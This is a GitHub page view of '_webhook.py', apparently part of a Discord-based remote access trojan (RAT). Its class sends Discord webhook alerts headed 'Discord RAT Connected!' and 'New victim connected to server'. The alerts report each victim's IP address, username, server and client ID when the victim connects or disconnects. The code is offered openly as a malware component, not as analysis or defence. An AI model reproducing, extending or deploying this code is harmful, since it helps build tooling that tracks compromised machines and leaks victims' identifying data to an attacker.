This repository has been archived by the owner on Mar 30, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 8
/
_webhook.py
53 lines (45 loc) · 1.92 KB
/
_webhook.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from dhooks import Webhook as web
from dhooks import Embed
class Weboh():
def on_connect(self, **kwargs):
ip = kwargs.get('ip')
username = kwargs.get('username')
server = kwargs.get('server')
webhook = kwargs.get('webhook')
avatar = kwargs.get('avatar')
footer = kwargs.get('footer')
sid = kwargs.get('sid')
embed = Embed(
description='New victim connected to server',
color=11795068,
timestamp='now' # sets the timestamp to current time
)
embed.set_author(name="Discord RAT Connected!", icon_url=avatar)
embed.set_footer(text=footer, icon_url=avatar)
embed.add_field(name="IP:", value=f'`{ip}`')
embed.add_field(name="Name", value=f'`{username}`')
embed.add_field(name='Server:', value=f'[{server}]({server})')
embed.add_field(name='Client ID:', value=f'`{sid}`')
webx = web(webhook)
webx.send(embed=embed)
def on_disconnect(self, **kwargs):
ip = kwargs.get('ip')
username = kwargs.get('username')
server = kwargs.get('server')
webhook = kwargs.get('webhook')
avatar = kwargs.get('avatar')
footer = kwargs.get('footer')
sid = kwargs.get('sid')
embed = Embed(
description='Victim disconnected from the server',
color=16399677,
timestamp='now' # sets the timestamp to current time
)
embed.set_author(name="Discord RAT Disconnected!", icon_url=avatar)
embed.set_footer(text=footer, icon_url=avatar)
embed.add_field(name="IP:", value=f'`{ip}`')
embed.add_field(name="Name", value=f'`{username}`')
embed.add_field(name='Server:', value=f'[{server}]({server})')
embed.add_field(name='Client ID:', value=f'`{sid}`')
webx = web(webhook)
webx.send(embed=embed)